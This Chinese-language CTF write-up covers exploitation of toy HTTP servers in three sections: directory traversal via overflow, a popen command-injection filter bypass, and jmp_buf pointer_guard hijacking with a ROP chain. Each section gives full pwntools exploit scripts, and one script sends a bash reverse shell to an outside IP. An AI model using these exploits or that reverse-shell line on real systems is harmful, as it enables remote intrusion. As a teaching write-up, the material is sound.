Web Pwn常见利用方式总结
字数 1064 2025-08-20 18:17:47
Web Pwn常见利用方式总结
目录穿越漏洞利用
漏洞原理
- 当使用
%[^ ]格式说明符时,如果变量类型为char且长度超过255,会导致溢出漏洞 - 利用
scandir函数扫描../目录可以访问上级目录中的文件
典型题目
NKCTF2024 httpd题目
利用方法
- 构造超长路径触发溢出
- 通过扫描
../目录获取../flag.txt
EXP示例
from pwn import *
import sys
LOCAL = len(sys.argv) == 1
if LOCAL:
p = process('./httpd')
else:
p = remote(sys.argv[1], int(sys.argv[2]))
p.send(b'GET /.' + b'/'*256 + b'.. HTTP/1.0\r\n')
p.send(b'host: 0.0.0.10\r\n')
p.send(b'Content-length: 0\r\n')
p.recvuntil(b'./flag.txt:')
data = p.recvline(keepends=False)
from Crypto.Cipher import ARC4
print(ARC4.new(b'reverse').decrypt(data))
p.close()
基于popen函数的攻击
漏洞原理
popen函数可以执行shell命令- 当存在过滤不严时,可以绕过限制执行任意命令
典型题目
2024羊城杯vhttpd
过滤函数分析
_BOOL4 __cdecl whitelist(const char *a1)
{
_BOOL4 result; // eax
char needle[3]; // [esp+15h] [ebp-13h] BYREF
char v3[4]; // [esp+18h] [ebp-10h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
strcpy(needle, "sh");
strcpy(v3, "bin");
if (strchr(a1, '&') || strchr(a1, '|') || strchr(a1, ';') ||
strchr(a1, '$') || strchr(a1, '{') || strchr(a1, '}') ||
strchr(a1, '`') || strstr(a1, needle))
{
result = 0;
}
else
{
result = strstr(a1, v3) == 0;
}
if (v4 != __readgsdword(0x14u))
stack_fail_error();
return result;
}
绕过方法
- 使用
"s"h拆分敏感字符串 - 利用
popen执行反弹shell
EXP示例
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/httpd")
elf = ELF("/home/zp9080/PWN/httpd")
libc = elf.libc
host = '0.0.0.10'
request = 'GET /"s"h HTTP/1.0\r\n'
request += 'Host: ' + host + '\r\n'
request += 'Content-Length: 0\r\n'
p.sendline(request)
p.sendline('bash -c "bash -i >& /dev/tcp/172.18.211.41/7777 0>&1"')
p.interactive()
基于jmp_buf结构体的攻击
前置知识
jmp_buf结构体
- 定义在
setjmp.h头文件中 - 用于保存调用环境(栈指针、指令指针和寄存器等)
setjmp()保存环境,longjmp()恢复环境
pointer_guard保护机制
- 使用
fs:[offsetof(tcbhead_t, pointer_guard)]作为key - 加密过程:
rol(ptr ^ pointer_guard, 0x11, 64) - 解密过程:
ror(enc, 0x11, 64) ^ pointer_guard
典型题目
DASCTF2024暑期挑战赛 vhttp
漏洞分析
content-length可控导致栈溢出- 覆盖
jmp_buf结构体劫持控制流 - 需要泄露
pointer_guard才能正确构造payload
利用步骤
- 第一次请求泄露
pointer_guard - 第二次请求构造ROP链实现ORW
EXP示例
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('node5.buuoj.cn', 28360)
elf = ELF("/home/zp9080/PWN/pwn")
libc = elf.libc
def circular_left_shift(value, shift):
value &= 0xFFFFFFFFFFFFFFFF
shifted_value = ((value << shift) & 0xFFFFFFFFFFFFFFFF) | (value >> (64 - shift))
return shifted_value
def ptr_g(value, pg):
val = value ^ pg
return circular_left_shift(val, 0x11)
# 第一次请求泄露pointer_guard
header = b"GET / HTTP/1.1\r\n"
header += b"content-length:2848\r\n"
p.send(header)
p.send('\n')
payload = b'\r\n' + b"user=newbew" + cyclic(2848 - 13 - 7) + b'success'
p.send(payload)
p.recvuntil(b"success")
pointer_guard = u64(p.recv(8))
print("Pointer guard:", hex(pointer_guard))
# 第二次请求构造ROP
ret_addr = 0x000000000040101a
pop_rdi = 0x00000000004028f3
pop_rsi_r15 = 0x00000000004028f1
pop_rdx = 0x000000000040157d
buffer = 0x0405140
open_plt = 0x4013C0
read_plt = 0x401300
write_plt = 0x4012A0
flag_addr = 0x40338A
rop_payload = b"a"*(0x20 - 1) + b":"
rop_payload += p64(ret_addr)*0x4
rop_payload += p64(pop_rdi)
rop_payload += p64(flag_addr)
rop_payload += p64(pop_rsi_r15)
rop_payload += p64(0x0)
rop_payload += p64(0x0)
rop_payload += p64(open_plt)
rop_payload += p64(pop_rdi)
rop_payload += p64(0x3)
rop_payload += p64(pop_rsi_r15)
rop_payload += p64(buffer+0x100)
rop_payload += p64(0x0)
rop_payload += p64(pop_rdx)
rop_payload += p64(0x200)
rop_payload += p64(read_plt)
rop_payload += p64(pop_rdi)
rop_payload += p64(0x1)
rop_payload += p64(pop_rsi_r15)
rop_payload += p64(buffer+0x100)
rop_payload += p64(0x0)
rop_payload += p64(write_plt)
rop_payload += rop_payload.ljust(0x100, b"a")
payload = b"&pass=v3rdant".ljust(0x200, b'a')
regs = flat({
0x8: ptr_g(buffer+0x28, pointer_guard), # rbp
0x30: ptr_g(buffer+0x28, pointer_guard), # rsp
0x38: ptr_g(ret_addr, pointer_guard) # rdx
})
payload += regs
payload = payload.ljust(2848 - 0x20, b'a')
payload += p64(buffer+0x400)*4
p.send(payload)
p.interactive()
调试技巧
多线程调试
- 使用
info threads查看所有线程 - 使用
thread (id)切换线程 - 在关键函数处设置断点
调试脚本示例
gdb_script = '''
b pthread_create
c
finish
thread 2
b *0x401EC2
c
b __pthread_cleanup_upto
c
'''
常见问题解决
段错误问题
- 原因:覆盖了
fs:[0x10]的值 - 解决:保证
fs:[0x10]指向可写地址
jmp_buf结构体控制
rdi指向jmp_buf结构体r8 = [jmp_buf+0x30]r9 = [jmp_buf+0x8]rdx = [jmp_buf+0x38]- 最终执行:
mov rsp,r8; mov rbp,r9; jmp rdx
总结
Web Pwn常见利用方式包括:
- 目录穿越漏洞
- 命令注入绕过
- 结构体劫持控制流
关键点在于发现初始漏洞点,并利用程序特性构造有效payload。